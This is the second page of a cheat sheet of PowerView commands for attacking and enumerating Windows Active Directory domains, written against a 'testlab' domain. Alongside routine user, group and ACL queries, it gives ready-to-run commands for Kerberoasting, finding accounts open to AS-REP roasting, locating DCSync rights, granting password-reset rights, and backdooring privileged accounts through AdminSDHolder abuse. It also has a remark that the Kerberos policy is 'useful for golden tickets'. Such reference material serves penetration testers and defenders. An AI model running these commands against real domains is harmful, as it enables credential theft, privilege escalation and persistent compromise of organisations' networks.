

### Use an alternate credential for any function

```
$SecPassword = ConvertTo-SecureString 'MyPassword!' -AsPlainText -Force
```

```
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
```

```
Get-DomainUser -Credential $Cred
```

### Get all users with pass changed > 1 year ago

```
$Date = (Get-Date).AddYears(-1).ToFileTime()
```

```
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset
```

returning sam account names and password last set times

### Get all enabled users

```
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname
```

```
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname
```

returning distinguishednames

### Get disabled users

```
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
```

```
Get-DomainUser -UACFilter ACCOUNTDISABLE
```

### Users that require smart card

```
Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)"
```

```
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
```

### Find all service accounts in "Domain Admins"

```
Get-DomainUser -SPN | ?{$_memberof -match 'Domain Admins'}
```

### Unconstrained delegation

```
$Computers = Get-DomainComputer -Unconstrained
```

```
$Users = Get-DomainUser -AllowDelegation -AdminCount
```

Enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation

### Perform kerberoasting

```
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
```

### Logged on users any server in domain

```
Get-DomainOU -Identity server -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname |  
%{Get-NetLoggedOn -ComputerName $_}}
```

Get the logged on users for all machines in any *server* OU in a particular domain

### give will rights to change matt pw

```
Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose
```

grant user 'will' the rights to change 'matt's password

### audit the permissions of AdminSDHolder

```
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs
```

audit the permissions of AdminSDHolder, resolving GUIDs

see description

```
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
```

backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse

### DCSync rights

```
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') }
```

retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCSync)

### Get groups a users effectively member of

```
Get-DomainGroup -MemberIdentity <User/-Group>
```

### get effective members of group-recurring down

```
Get-DomainGroupMember -Identity "-Domain Admins" -Recurse
```

### Return the local groups of a remote server

```
Get-NetLocalGroup SERVER.domain.local
```

### Enumerate the current domain policy

```
$DomainPolicy = Get-DomainPolicy -Policy Domain
```

```
$DomainPolicy.KerberosPolicy # useful for golden tickets ;)
```

```
$DomainPolicy.SystemAccess # password age/etc.
```

### enumerate who has rights to matt in testlab

```
Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local
```

enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names

### Find all users with an SPN set

```
Get-DomainUser -SPN
```

### No kerberos preauthentication set

```
Get-DomainUser -PreauthNotRequired
```

```
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
```

### save a PowerView object to disk for later usage

```
Get-DomainUser | Export-Clixml user.xml  
$Users = Import-Clixml user.xml
```

### Specific user RDP Access in domain

```
Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP
```

enumerate what machines that a given user in the specified domain has RDP access rights to

### machines user/group local admin rights to

```
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
```

Enumerate what machines that a particular user/group identity has local admin rights to  
Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation

### find all computers in a given OU

```
Get-DomainComputer -SearchBase "ldap://OU=..."
```

### Get PC dns names a GPP password applies to

```
Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}
```

### Enumerate the current DC policy

```
$DCPolicy = Get-DomainPolicy -Policy DC  
$DCPolicy.PrivilegeRights
```

user privilege rights on the dc

### Set owner of 'dfm' in the domain to 'harmj0y'

```
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
```



By **mysc0x1**  
[cheatography.com/mysc0x1/](https://cheatography.com/mysc0x1/)

Not published yet.  
Last updated 7th December, 2022.  
Page 2 of 2.

Sponsored by **Readable.com**  
Measure your website readability!  
<https://readable.com>